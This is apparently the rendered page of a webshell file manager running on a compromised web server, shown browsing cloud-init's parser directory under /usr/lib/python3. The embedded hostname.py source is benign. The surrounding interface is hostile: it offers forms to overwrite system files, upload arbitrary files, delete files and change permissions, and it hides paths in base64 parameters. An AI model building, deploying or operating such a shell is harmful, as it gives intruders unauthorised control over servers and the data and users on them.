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<hr>hostname.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM%3D&f=aG9zdG5hbWUucHk%3D"><input name="f" value="hostname.py"><textarea name="t"># Copyright (C) 2012 Yahoo! Inc.
#
# Author: Joshua Harlow &lt;harlowja@yahoo-inc.com&gt;
#
# This file is part of cloud-init. See LICENSE file for license information.

from io import StringIO

from cloudinit.distros.parsers import chop_comment


# Parser that knows how to work with /etc/hostname format
class HostnameConf:
    def __init__(self, text):
        self._text = text
        self._contents = None

    def parse(self):
        if self._contents is None:
            self._contents = self._parse(self._text)

    def __str__(self):
        self.parse()
        contents = StringIO()
        for line_type, components in self._contents:
            if line_type == &quot;blank&quot;:
                contents.write(&quot;%s\n&quot; % (components[0]))
            elif line_type == &quot;all_comment&quot;:
                contents.write(&quot;%s\n&quot; % (components[0]))
            elif line_type == &quot;hostname&quot;:
                (hostname, tail) = components
                contents.write(&quot;%s%s\n&quot; % (hostname, tail))
        # Ensure trailing newline
        contents = contents.getvalue()
        if not contents.endswith(&quot;\n&quot;):
            contents += &quot;\n&quot;
        return contents

    @property
    def hostname(self):
        self.parse()
        for line_type, components in self._contents:
            if line_type == &quot;hostname&quot;:
                return components[0]
        return None

    def set_hostname(self, your_hostname):
        your_hostname = your_hostname.strip()
        if not your_hostname:
            return
        self.parse()
        replaced = False
        for line_type, components in self._contents:
            if line_type == &quot;hostname&quot;:
                components[0] = str(your_hostname)
                replaced = True
        if not replaced:
            self._contents.append((&quot;hostname&quot;, [str(your_hostname), &quot;&quot;]))

    def _parse(self, contents):
        entries = []
        hostnames_found = set()
        for line in contents.splitlines():
            if not len(line.strip()):
                entries.append((&quot;blank&quot;, [line]))
                continue
            (head, tail) = chop_comment(line.strip(), &quot;#&quot;)
            if not len(head):
                entries.append((&quot;all_comment&quot;, [line]))
                continue
            entries.append((&quot;hostname&quot;, [head, tail]))
            hostnames_found.add(head)
        if len(hostnames_found) &gt; 1:
            raise IOError(&quot;Multiple hostnames (%s) found!&quot; % (hostnames_found))
        return entries
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/cloudinit/distros/parsers<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9z"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>540</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnMvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=aG9zdG5hbWUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=aG9zdG5hbWUucHk="/>hostname.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=aG9zdG5hbWUucHk=&c=`+btoa(c):0" value="0644"></td><td>2469</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=aG9zdHMucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=aG9zdHMucHk="/>hosts.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=aG9zdHMucHk=&c=`+btoa(c):0" value="0644"></td><td>2724</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=aWZjb25maWcucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=aWZjb25maWcucHk="/>ifconfig.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=aWZjb25maWcucHk=&c=`+btoa(c):0" value="0644"></td><td>9126</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=bmV0d29ya21hbmFnZXJfY29uZi5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=bmV0d29ya21hbmFnZXJfY29uZi5weQ=="/>networkmanager_conf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=bmV0d29ya21hbmFnZXJfY29uZi5weQ==&c=`+btoa(c):0" value="0644"></td><td>682</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=cmVzb2x2X2NvbmYucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=cmVzb2x2X2NvbmYucHk="/>resolv_conf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=cmVzb2x2X2NvbmYucHk=&c=`+btoa(c):0" value="0644"></td><td>5239</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&x=c3lzX2NvbmYucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=c3lzX2NvbmYucHk="/>sys_conf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2Nsb3VkaW5pdC9kaXN0cm9zL3BhcnNlcnM=&f=c3lzX2NvbmYucHk=&c=`+btoa(c):0" value="0644"></td><td>3895</td></tr></table>